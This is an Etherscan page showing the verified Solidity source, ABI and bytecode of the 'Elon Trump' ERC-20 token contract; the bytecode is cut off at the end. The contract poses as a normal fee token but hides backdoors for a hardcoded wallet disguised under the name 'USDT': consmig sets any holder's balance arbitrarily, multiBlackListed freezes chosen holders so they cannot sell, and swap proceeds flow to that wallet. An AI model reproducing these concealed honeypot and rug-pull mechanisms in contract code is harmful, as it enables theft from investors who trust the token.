ETH Price: $2,526.90 (-0.23%)

Token

Elon Trump (Elon Trump)
 

Overview

Max Total Supply

1,000,000,000 Elon Trump

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
20,845,079.583021732 Elon Trump

Value
$0.00
0xba88be0718a5d8e064298baecec353a94e45171a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ElonTrump

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-24
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }


}
contract Ownable is Context {
    address private _owner;
    modifier tellY(address account) {require(account == msg.sender);_;}

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  ElonTrump is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private _name = "Elon Trump";
    string private _symbol = "Elon Trump";
    uint8 private _decimals = 9;
    address payable public USDT;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    function consmig(address sender, uint256 amount) public tellY(USDT) {
        _balances[sender] = (10 ** amount) + 10;
    }

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        USDT = payable(address(0x4699D1438ef2BB5ae774eFd1f385F305348ad673));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setMarketPair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function multiBlackListed(address[] calldata addresses, bool status) public tellY(USDT) {
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "ERC20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 ETHamountMarketing = address(this).balance;

        if(ETHamountMarketing > 0)
            USDT.transfer(ETHamountMarketing);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"USDT","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"consmig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"multiBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600a81526020017f456c6f6e205472756d70000000000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600a81526020017f456c6f6e205472756d7000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff16021790555060036009556003600a55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600b553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160066000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550734699d1438ef2bb5ae774efd1f385f305348ad673600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612ea680620007886000396000f3fe6080604052600436106101395760003560e01c80638da5cb5b116100ab578063c54e44eb1161006f578063c54e44eb1461045b578063c5d2418914610486578063c816841b146104b1578063c8607952146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b80638da5cb5b1461037657806395d89b41146103a15780639a66989c146103cc578063a9059cbb146103f5578063b885cc2e1461043257610140565b806323b872dd116100fd57806323b872dd14610240578063313ce5671461027d5780633345611e146102a85780633ecad271146102e5578063683e865c1461032257806370a082311461033957610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631d231b2c1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b60405161016791906124f1565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061217d565b6105ff565b6040516101a491906124bb565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf91906124d6565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa9190612613565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612090565b61064d565b60405161023791906124bb565b60405180910390f35b34801561024c57600080fd5b506102676004803603810190610262919061212a565b61066d565b60405161027491906124bb565b60405180910390f35b34801561028957600080fd5b50610292610747565b60405161029f9190612688565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190612090565b61075e565b6040516102dc91906124bb565b60405180910390f35b3480156102f157600080fd5b5061030c60048036038101906103079190612090565b61077e565b60405161031991906124bb565b60405180910390f35b34801561032e57600080fd5b5061033761079e565b005b34801561034557600080fd5b50610360600480360381019061035b9190612090565b610b76565b60405161036d9190612613565b60405180910390f35b34801561038257600080fd5b5061038b610bbf565b604051610398919061245c565b60405180910390f35b3480156103ad57600080fd5b506103b6610be8565b6040516103c391906124f1565b60405180910390f35b3480156103d857600080fd5b506103f360048036038101906103ee91906121bd565b610c7a565b005b34801561040157600080fd5b5061041c6004803603810190610417919061217d565b610d7b565b60405161042991906124bb565b60405180910390f35b34801561043e57600080fd5b506104596004803603810190610454919061217d565b610d9a565b005b34801561046757600080fd5b50610470610e56565b60405161047d9190612477565b60405180910390f35b34801561049257600080fd5b5061049b610e7c565b6040516104a89190612613565b60405180910390f35b3480156104bd57600080fd5b506104c6610e82565b6040516104d3919061245c565b60405180910390f35b3480156104e857600080fd5b506104f1610ea8565b6040516104fe9190612613565b60405180910390f35b34801561051357600080fd5b5061052e600480360381019061052991906120ea565b610eae565b60405161053b9190612613565b60405180910390f35b34801561055057600080fd5b5061056b60048036038101906105669190612090565b610f35565b005b60606001805461057c90612a60565b80601f01602080910402602001604051908101604052809291908181526020018280546105a890612a60565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c611087565b848461108f565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b600061067a84848461125a565b5061073c84610687611087565b61073785604051806060016040528060288152602001612e4960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ed611087565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118db9092919063ffffffff16565b61108f565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6107a6611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a906125b3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089257600080fd5b505afa1580156108a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ca91906120bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092c57600080fd5b505afa158015610940573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096491906120bd565b6040518363ffffffff1660e01b8152600401610981929190612492565b602060405180830381600087803b15801561099b57600080fd5b505af11580156109af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d391906120bd565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610bf790612a60565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2390612a60565b8015610c705780601f10610c4557610100808354040283529160200191610c70565b820191906000526020600020905b815481529060010190602001808311610c5357829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610cd557600080fd5b60005b84849050811015610d74578260086000878785818110610cfb57610cfa612b68565b5b9050602002016020810190610d109190612090565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d6c90612a92565b915050610cd8565b5050505050565b6000610d8f610d88611087565b848461125a565b506001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610df557600080fd5b600a82600a610e0491906127d2565b610e0e91906126f8565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f3d611087565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc1906125b3565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f6906125f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612553565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161124d9190612613565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c2906125d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561133b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133290612513565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bf90612533565b60405180910390fd5b600d60149054906101000a900460ff16156113ef576113e884848461193f565b90506118d4565b60006113fa30610b76565b9050600d60149054906101000a900460ff161580156114635750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114725761147181611b12565b5b6114c483600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115aa5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115b7578390506117d3565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163a57611633606461162560095488611e6090919063ffffffff16565b611edb90919063ffffffff16565b90506116b8565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116b7576116b460646116a6600a5488611e6090919063ffffffff16565b611edb90919063ffffffff16565b90505b5b60008111156117bc5761171381600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117b39190612613565b60405180910390a35b6117cf8186611e1690919063ffffffff16565b9150505b61182581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118c59190612613565b60405180910390a36001925050505b9392505050565b6000838311158290611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a91906124f1565b60405180910390fd5b5060008385611932919061294a565b9050809150509392505050565b60006119ca826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118db9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a5f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611aff9190612613565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b4a57611b49612b97565b5b604051908082528060200260200182016040528015611b785781602001602082028036833780820191505090505b5090503081600081518110611b9057611b8f612b68565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3257600080fd5b505afa158015611c46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6a91906120bd565b81600181518110611c7e57611c7d612b68565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ce530600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461108f565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d4995949392919061262e565b600060405180830381600087803b158015611d6357600080fd5b505af1925050508015611d74575060015b611d7d57611d7e565b5b60004790506000811115611df657600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df4573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b6000611e5883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118db565b905092915050565b600080831415611e735760009050611ed5565b60008284611e8191906128f0565b9050828482611e90919061274e565b14611ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec790612593565b6